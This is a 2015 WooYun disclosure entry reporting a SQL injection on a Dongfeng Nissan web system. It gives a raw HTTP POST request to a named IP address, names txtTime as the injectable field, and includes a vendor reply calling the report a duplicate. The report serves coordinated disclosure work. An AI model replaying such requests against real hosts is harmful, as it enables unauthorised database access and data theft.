当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0134713

漏洞标题:东风日产某站存在SQL注入

相关厂商:东风日产乘用车公司

漏洞作者: 深度安全实验室

提交时间:2015-08-17 14:44

修复时间:2015-10-01 18:46

公开时间:2015-10-01 18:46

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-17: 细节已通知厂商并且等待厂商处理中
2015-08-17: 厂商已经确认,细节仅向厂商公开
2015-08-27: 细节向核心白帽子及相关领域专家公开
2015-09-06: 细节向普通白帽子公开
2015-09-16: 细节向实习白帽子公开
2015-10-01: 细节向公众公开

简要描述:

详细说明:

POST /inside/VisitList.aspx?type=app HTTP/1.1
Host: 202.96.191.190:8081
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://202.96.191.190:8081/inside/VisitList.aspx?type=app
Cookie: phone=13466567678
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 2129
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMTg1Mjc1MTEyNQ9kFgICBA9kFgoCBw8PFgIeCEltYWdlVXJsBRJ%2BL2ltYWdlLzJfYXBweS5wbmdkZAIJDw8WAh8ABRV%2BL2ltYWdlLzJfcmVjb3Jkbi5wbmdkZAIbDxYCHgtfIUl0ZW1Db3VudGZkAh8PDxYCHgtSZWNvcmRjb3VudGZkZAIhDzwrAAoBAA8WAh4CU0QWAQYAAIx2BKXSCBYCHgVzdHlsZQUhRElTUExBWTogbm9uZTsgUE9TSVRJT046IGFic29sdXRlZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WCQUFSUJBcHAFCElCUmVjb3JkBQxJbWFnZUJ1dHRvbjEFDEltYWdlQnV0dG9uMwUMUmFkaW9CdXR0b241BQxSYWRpb0J1dHRvbjYFDFJhZGlvQnV0dG9uNgUMUmFkaW9CdXR0b243BQxSYWRpb0J1dHRvbjf7aDnDU5GTT6qAI5Xne9C1%2BBcT7a9oLmhn4DgKOD2WaQ%3D%3D&__EVENTVALIDATION=%2FwEdADo2FqxYSYbALjDoWhOZ%2B1rcy0jlft9Kz8QwZmCZpVaVlxokCUCPFbUgk1ynwSUdFhu%2BX3ng%2BwIjrBukKss7geciiVDxC6Svuf0f%2FLoRMhFuIzksgULxaQMgRJPxwoUz3Y757krzdrowy1YqiaDEjlkHfJgCngiFdSWIJCCMXAhyE7gH%2BC6uvzbHSi3QB431BqLpkAKvHlFmeWUpJ6tT4i4q5qyMeFs8G29UGRIzQsul%2BGbsqH7yedr8E6WFK86EYlBRdI%2BANRbhHf9zSA2xV2XJaBzntNaMg31t5SZRw47Lwlog52uQ62WARBGlhG1LJ1vN%2F24KuSUhdsdEKl1QjtXrg4j59mGkSBIa2KADDrezozsjXJXClQUaCpeWobYv95Ef47oHWOWsmGnj80e0A0tYSo50kN81GliQ1D4EN85fcvvs7aPYtw%2FW0UjdKbXYMUi9m0IX5YkZC5DjpirnD1LM8uQL5PPjU9n1JgTdPSlWvjEhn878V2Z7%2BKnb0580q0NbB6EGTZnQqfNxolG%2BfdpxC1Dk9hxJBp7Val0ZR%2BG0ck2MeQy3dwW8kBMWpEih3jvTfch075OrD0xWtagJRx3%2F1GSi5Z1Yufh%2B6HJ3wNHllGc9SnSeH%2B7HZFxNLRA8EPnmYc5LCFsqB8%2FL268bXQaX%2BwjsZkvlPfqw%2FXTstberkH2Zhrlo3HyfNZy6fiIM4mPXNQ3covymPvlZrfbyEkECAO331AFnX8hNZattI25pYuB%2FDHkBjXEnsLwu6VcoXpVzQU3rEFbW3BMszsbp%2BnRsbjEUIej%2FKKcgbrm3q1D1bq21qcBQKcvW1HdBvQ6%2FXrmMGlW8LTzYYalpNCARF5eA3noY2vQ%2BHt4GawLxFC8q20WtiQzPG4xGOA1lzZih9RKcpEwSByhKivraEPvl1LgN3L5yZYrFDVpYP4XQADUT080LSeFG%2F%2Be1Pr47ZRSOI%2B0z%2FeYbQtEUyLSD9G9%2Byslhtxyk4vjQ0bp0W%2FO23iKyOL7UqmR%2BzXs3o6YXEKd2ZUdmEcLE564bDEl5Vmi8heJLndrxjHHV9jevbugjpKmzuNQN0v6ul2HWT2Q65mqdhbcy%2Fs7OKGowZLw3Nk0WFCAKKukZs8zPYrBjtjrlPOeIX5%2B3WlPE97q%2F997ZdVAAXPHi8gK%2FHshrwxylwnjZMBTCNG5p177odkJnESjpy2qjyAla7%2B7IxorZC8tD4%2BbY54OW2rF2jHrjzOXoXmoy42Hmtl9Z2%2BPA25AosKv1ETszCl4Qpjq7Nq5kCYmakoo6Zbw%3D&hdStatus=app&hdCurPhone=&hdBatch=&txtPhone=13555555555&txtEmpPhone=13888888888&txtTime=2015%2F8%2F15&ImageButton3.x=97&ImageButton3.y=19&rbStatus=RadioButton5

txtTime参数

漏洞证明:

7个库,不深入跑了~

11.png

修复方案:

版权声明:转载请注明来源 深度安全实验室@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2015-08-17 18:45

厂商回复:

感谢提醒!漏洞已重复。

最新状态:

暂无